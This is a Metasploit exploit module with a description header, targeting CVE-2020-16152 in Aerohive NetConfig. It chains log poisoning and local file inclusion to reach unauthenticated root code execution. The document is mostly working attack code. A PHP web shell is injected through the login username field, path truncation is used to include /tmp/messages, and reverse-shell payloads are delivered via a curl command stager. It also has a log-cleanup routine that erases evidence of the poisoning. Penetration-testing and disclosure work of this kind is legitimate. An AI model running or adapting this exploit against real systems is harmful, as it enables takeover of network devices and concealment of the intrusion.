Authored by Erik Wynter, Erik de Jong | Site metasploit.com

This Metasploit module exploits local file inclusion and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older in order to achieve unauthenticated remote code execution as the root user. NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable versions allow for LFI because they rely on a version of PHP 5 that is vulnerable to string truncation attacks. This module leverages this issue in conjunction with log poisoning to gain remote code execution as root. Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the application responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily) unexploitable. This state can last over an hour. This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a.

advisories | CVE-2020-16152

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE',
'Description' => %q{
This module exploits LFI and log poisoning vulnerabilities
(CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a
build-242466 and older in order to achieve unauthenticated remote
code execution as the root user. NetConfig is the Aerohive/Extreme
Networks HiveOS administrative webinterface. Vulnerable versions
allow for LFI because they rely on a version of PHP 5 that is
vulnerable to string truncation attacks. This module leverages this
issue in conjunction with log poisoning to gain RCE as root.

Upon successful exploitation, the Aerohive NetConfig application
will hang for as long as the spawned shell remains open. Closing
the session should render the app responsive again.

The module provides an automatic cleanup option to clean the log.
However, this option is disabled by default because any modifications
to the /tmp/messages log, even via sed, may render the target
(temporarily) unexploitable. This state can last over an hour.

This module has been successfully tested against Aerohive NetConfig
versions 8.2r4 and 10.0r7a.
},
'License' => MSF_LICENSE,
'Author' => [
'Erik de Jong', # github.com/eriknl - discovery and PoC
'Erik Wynter' # @wyntererik - Metasploit
],
'References' => [
['CVE', '2020-16152'], # still categorized as RESERVED
['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code
],
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Platform' => %w[linux unix],
'Arch' => [ ARCH_ARMLE, ARCH_CMD ],
'Targets' => [
[
'Linux', {
'Arch' => [ARCH_ARMLE],
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => 'curl'
}
}
],
[
'CMD', {
'Arch' => [ARCH_CMD],
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target'
}
}
]
],
'Privileged' => true,
'DisclosureDate' => '2020-02-17',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)

register_options [
OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']),
OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]),
]
end

def auto_clean_log
datastore['AUTO_CLEAN_LOG']
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php5')
})

unless res
return CheckCode::Unknown('Connection failed.')
end

unless res.code == 200 && res.body.include?('Aerohive NetConfig UI')
return CheckCode::Safe('Target is not an Aerohive NetConfig application.')
end

version = res.body.scan(/action="login.php5?version=(.*?)"/)&.flatten&.first
unless version
return CheckCode::Detected('Could not determine Aerohive NetConfig version.')
end

begin
if Rex::Version.new(version) <= Rex::Version.new('10.0r8a')
return CheckCode::Appears("The target is Aerohive NetConfig version #{version}")
else
print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.')
return CheckCode::Safe("The target is Aerohive NetConfig version #{version}")
end
rescue StandardError => e
return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}")
end
end

def poison_log
password = rand_text_alphanumeric(8..12)
@shell_cmd_name = rand_text_alphanumeric(3..6)
@poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>"

# Poison /tmp/messages
print_status('Attempting to poison the log at /tmp/messages...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php5'),
'vars_post' => {
'login_auth' => 0,
'miniHiveUI' => 1,
'authselect' => 'Name/Password',
'userName' => @poison_cmd,
'password' => password
}
})

unless res
fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages')
end

unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==')
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages')
end

print_status('Server responded as expected. Continuing...')
end

def on_new_session(session)
log_cleaned = false
if auto_clean_log
print_status('Attempting to clean the log file at /tmp/messages...')
print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.')
begin
# We need remove the line containing the PHP system call from /tmp/messages
# The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username.
# Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line
# The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same:
# In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period.
line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}"
clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}"
cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "
"grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}"

if session.type.to_s.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'

session.sys.process.execute('/bin/sh', "-c "#{cmds_to_clean_log}"")

# Wait for cleanup
Rex.sleep 5

# Check for the PHP system call in /tmp/messages
messages_contents = session.fs.file.open('/tmp/messages').read.to_s
# using =~ here produced unexpected results, so include? is used instead
unless messages_contents.include?(@poison_cmd)
log_cleaned = true
end
elsif session.type.to_s.eql?('shell')
session.shell_command_token(cmds_to_clean_log.to_s)

# Check for the PHP system call in /tmp/messages
poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'")
# using =~ here produced unexpected results, so include? is used instead
unless poison_evidence.include?(@poison_cmd)
log_cleaned = true
end
end
rescue StandardError => e
print_error("Error during cleanup: #{e.message}")
ensure
super
end

unless log_cleaned
print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages")
end
end

if log_cleaned
print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.')
else
print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:nt#{@poison_cmd}")
print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.')
print_warning('Deleting /tmp/messages or clearing out the file may break the application.')
end
end

def execute_command(cmd, _opts = {})
print_status('Attempting to execute the payload')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'action.php5'),
'vars_get' => {
'_action' => 'list',
'debug' => 'true'
},
'vars_post' => {
'_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Trigger LFI through path truncation
@shell_cmd_name => cmd
}
}, 0)

print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.')
end

def exploit
poison_log
if target.arch.first == ARCH_CMD
print_status('Executing the payload')
execute_command(payload.encoded)
else
execute_cmdstager(background: true)
end
end
end